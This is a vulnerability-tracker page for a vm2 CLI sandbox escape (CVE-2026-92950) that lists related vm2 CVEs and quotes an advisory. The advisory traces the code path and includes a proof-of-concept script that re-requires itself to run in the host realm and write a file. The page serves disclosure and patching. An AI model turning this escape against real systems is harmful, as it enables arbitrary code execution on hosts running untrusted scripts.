Patch Forecast
Yellow warning
Plan into this sprint.

CVE-2026-92950 · GHSA-jxxv-8r27-vm4p

vm2 CLI provides no sandbox isolation - host-realm require() is reachable from sandboxed scripts

Risk score
58/100
CVSS
8.6 v3.1
Exploit chance (30 days)
0.2%
Published
1 Oct 2026

Open in the live forecast Today's forecast

What to know

What it is
The vm2 command-line tool installed by npm install -g vm2 and documented in the README's "CLI" section runs the supplied script under NodeVM with require:{external:true} and no root / context / builtin configured. With these defaults the resolver loads every relative or absolute require() target through the host requi…
Affected
vm2 (npm) <= 3.11.6
Fix
Upgrade vm2 to 3.11.7 or later.
Exploitation
No known exploitation

Story map

Story map: vm2THE FLAWSTHE FIXCVE-2026-92950Vm2 CLI provides no sandboxisolation - host-realm require()is reachable from sandboxed…CVSS 8.6 · EPSS 0%CVE-2026-92946NodeVM `require.external`without an explicit`require.root` grants…CVSS 10.0 · EPSS 1%CVE-2026-92944Vm2 sandbox escape on Node.js26 through a stalePromiseThenLookupChain…CVSS 9.8 · EPSS 1%CVE-2026-92956Vm2 sandbox escape viaWebAssembly.compileStreaming Promise species bypassCVSS 10.0 · EPSS 1%FixUpgrade vm2 to 3.11.7 or later.Who is exposedvm2 (npm) <= 3.11.6RED · ACT TODAYvm2NodeVM's require.externaloption lets sandboxed coderequire() local files and npmpackages. When require.externalis enabled and require.root is notexplicitly set to a path thatexcludes node_modules, two…Where it standsPublic proof of conceptCONNECTS TOSame weaknessCWE-453 (CWE-453)1 other warning in 30 days →
Story map: the flaws, the fix, how it unfolded and what it connects to. Boxes link to the record or article.

At a glance

vm2: Red, act today. NodeVM's require.external option lets sandboxed code require() local files and npm packages. When require.external is enabled and require.root is not explicitly set to a path that excludes node_modules, two defaults combine to fully defeat the sandbox: require.root defaults to unrestricted — "if omitted every path is …

The flaws

  • CVE-2026-92950: Vm2 CLI provides no sandbox isolation - host-realm require() is reachable from sandboxed scripts (CVSS 8.6 · EPSS 0%)
  • CVE-2026-92946: NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE (CVSS 10.0 · EPSS 1%)
  • CVE-2026-92944: Vm2 sandbox escape on Node.js 26 through a stale PromiseThenLookupChain protector (CVSS 9.8 · EPSS 1%)
  • CVE-2026-92956: Vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass (CVSS 10.0 · EPSS 1%)

The fix

Fix: Upgrade vm2 to 3.11.7 or later.

Who is exposed: vm2 (npm) <= 3.11.6

Where it stands

  • Public proof of concept

Connects to

Why it is Yellow

  • CVSS 8.6 high
  • On your watchlist: npm

Affected packages

PackageEcosystemVulnerableFixed in
vm2npm<= 3.11.63.11.7

References

Original description

### Summary The `vm2` command-line tool installed by `npm install -g vm2` and documented in the README's "CLI" section runs the supplied script under `NodeVM` with `require:{external:true}` and no `root` / `context` / `builtin` configured. With these defaults the resolver loads every relative or absolute `require()` target through the **host** `require()` function, executing the attacker's module body in the host Node.js process before the result is ever proxied back into the sandbox. A single attacker-controlled file passed to `vm2 ./script.js` can call `require(__filename)` to re-execute itself in host realm and reach `fs`, `child_process`, etc. The documented sandbox runner is therefore equivalent to `node ./script.js`. No additional files, flags, or user interaction are required. ### Details The vulnerability lets a **malicious sandboxed script** - the file argument to the documented `vm2 <file>` CLI - execute arbitrary code in the **host Node.js process**, crossing the sandbox → host boundary that vm2 is meant to enforce. #### Vulnerable code path 1. **Source** - `bin/vm2:3` → `lib/cli.js:7-18`. `process.argv[2]` is the attacker-authored script path. The CLI invokes: ```js NodeVM.file(path, { verbose: true, require: { external: true } }); ``` Without `require.root`, `require.context`, nor `require.builtin`. 2. **Hop** - `lib/nodevm.js:618-636`. `NodeVM.file` reads the file and calls `new NodeVM(options).run(body, resolvedFilename)`. 3. **Hop** - `lib/nodevm.js:335` → `lib/resolver-compat.js:205-266` (`makeResolverFromLegacyOptions`). Destructures `external:true`, `rootPaths=undefined`, `hostRequire=defaultRequire` (line 218), `context='host'` (default, line 219). Because `typeof externalOpt !== 'object'` (line 265) it returns a `CustomResolver` with `checkedRootPaths=undefined` and `pathContext = () => 'host'` (line 263). 4. **Hop** - `lib/setup-node-sandbox.js:86-123` (`requireImpl`). Sandbox `require(id)` resolves via `resolver.resolve(...)` (`lib/nodevm.js:380-383`). `lib/resolver.js:244-275` handles absolute/relative specifiers; `tryFile` at `lib/resolver.js:327-329` gates on `this.isPathAllowed(x)`. 5. **Barrier (gap)** - `lib/resolver-compat.js:53-54`: ```js isPathAllowed(filename) { if (this.rootPaths === undefined) return true; ``` With no `root` configured, **every** filesystem path is allowed. `checkAccess` (`lib/resolver.js:39-42`) delegates to the same method. 6. **Sink** - `lib/resolver-compat.js:74-77`: ```js loadJS(vm, mod, filename) { if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(...); const m = this.hostRequire(filename); // ← host-realm require() mod.exports = vm.readonly(m); } ``` `hostRequire` is `defaultRequire` (`lib/resolver-compat.js:20-23`) - the real host `require()`. The required module's **top-level body executes in the host realm** before `vm.readonly()` wraps the exports; wrapping happens too late to constrain side-effects. `loadNode` (`lib/resolver-compat.js:80-83`) is identical for `.node` native addons (`process.dlopen` in host). ### PoC Save the following as `/tmp/poc.js`: ```js 'use strict'; try { // Host realm: fs is available - write sentinel and stop. const fs = require('fs'); fs.writeFileSync('/tmp/vm2.proof', 'host pid=' + process.pid + '\n'); console.log('HOST realm: wrote /tmp/vm2.proof'); } catch (e) { // Sandbox realm: require('fs') threw ENOTFOUND. Re-require this file - // the CLI resolver loads it via host require() (resolver-compat.js:76). console.log('sandbox realm: fs blocked (' + e.message + '); escaping'); require(__filename); } ``` Run via the shipped CLI exactly as the README documents: ```sh node ./bin/vm2 /tmp/poc.js # or `vm2 /tmp/poc.js` after `npm i -g vm2` ``` Observed output: ``` sandbox realm: fs blocked (Cannot find module 'fs'); escaping HOST realm: wrote /tmp/vm2.proof ``` `/tmp/vm2.proof` exists, written by `fs.writeFileSync` from a script whose direct `require('fs')` was blocked by the sandbox. The first line proves the boundary exists; the second proves it was crossed. ### Impact A user who follows the README's CLI section and runs `vm2 ./untrusted.js` on an attacker-supplied file gets **arbitrary code execution as that user** - the sandbox provides no isolation in this configuration. The blast radius is the full host Node.js process: `fs`, `child_process`, `process.dlopen`, network, environment.

Last activity 1 Oct 2026. Patch Forecast updates every hour.